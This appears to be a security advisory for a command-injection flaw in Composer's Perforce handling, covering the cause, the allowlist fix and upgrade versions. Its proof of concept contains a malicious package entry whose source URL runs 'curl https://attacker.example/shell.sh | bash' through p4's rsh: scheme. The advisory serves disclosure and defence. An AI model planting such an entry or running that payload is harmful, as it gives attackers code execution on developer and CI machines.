CVE-2026-84361: Composer OS Command Injection via Malicious Perforce Source URL
A malicious package hosted on a custom Composer repository can embed a crafted Perforce source URL that tricks the p4 client into running an arbitrary local command when a developer or CI system runs…

The problem
Composer's Util\Perforce class accepted a package's source.url field and passed it directly to the p4 CLI client as the P4PORT address, with no validation of its scheme or format.
The Perforce client natively supports rsh: and jsh: address prefixes, which tell it to spawn a local process instead of connecting to a remote depot. An attacker who can plant a package on any non-Packagist Composer repository (or who can replace a composer.lock file) can use this to achieve remote code execution with the privileges of whoever runs Composer.
Proof of concept
A working proof-of-concept for CVE-2026-84361 in composer/composer, with the exact payload below.
// Malicious package entry in a packages.json repository or composer.lock:
{
"packages": [
{
"name": "vendor/malicious-pkg",
"version": "1.0.0",
"source": {
"type": "perforce",
"url": "rsh:bash -c 'curl https://attacker.example/shell.sh | bash'",
"reference": "//depot/main"
}
}
]
}
// When Composer resolves and installs from source, it calls:
// p4 -p "rsh:bash -c 'curl https://attacker.example/shell.sh | bash'" info
// p4 treats rsh: as "connect via stdin/stdout of this command"
// and spawns the shell payload before any Perforce communication happens.The rsh: (and jsh:) P4PORT schemes are legitimate Perforce features designed to tunnel depot traffic over an arbitrary local command's stdin/stdout. Composer used source.url verbatim as the -p argument to every p4 invocation, so any string accepted by P4PORT was accepted by Composer.
The patch adds a strict allowlist regex for source.url on Perforce-typed packages, permitting only real network endpoints of the form [tcp:|ssl:]host:port. Any URL that does not match this pattern (including anything starting with rsh: or jsh:) is rejected during package validation, before any p4 process is ever spawned.
This is a CWE-78 (OS Command Injection) rooted in missing input validation on an external-facing metadata field.
The fix
Upgrade to Composer 2.10.3 (main line) or 2.2.30 (2.2 LTS). Both releases validate Perforce source addresses against an allowlist of real network endpoint formats before calling p4. As an interim measure, remove the p4 binary from PATH on any machine that does not actively use Perforce; the vulnerability requires p4 to be present.
Also restrict configured repositories to sources you control.
Reported by naderman (Nils Adermann).
Related research
- high · 8.1CVE-2026-54182CVE-2026-54182: backpack/crud OS Command Injection via Host Header
- highCVE-2026-67434CVE-2026-67434: PHP_CodeSniffer OS Command Injection via Crafted Filename in Blame Reports
- high · 8.8Pheditor Terminal Command-Allowlist Bypass via Argument Injection (RCE)
- high · 8.8CVE-2026-55578CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist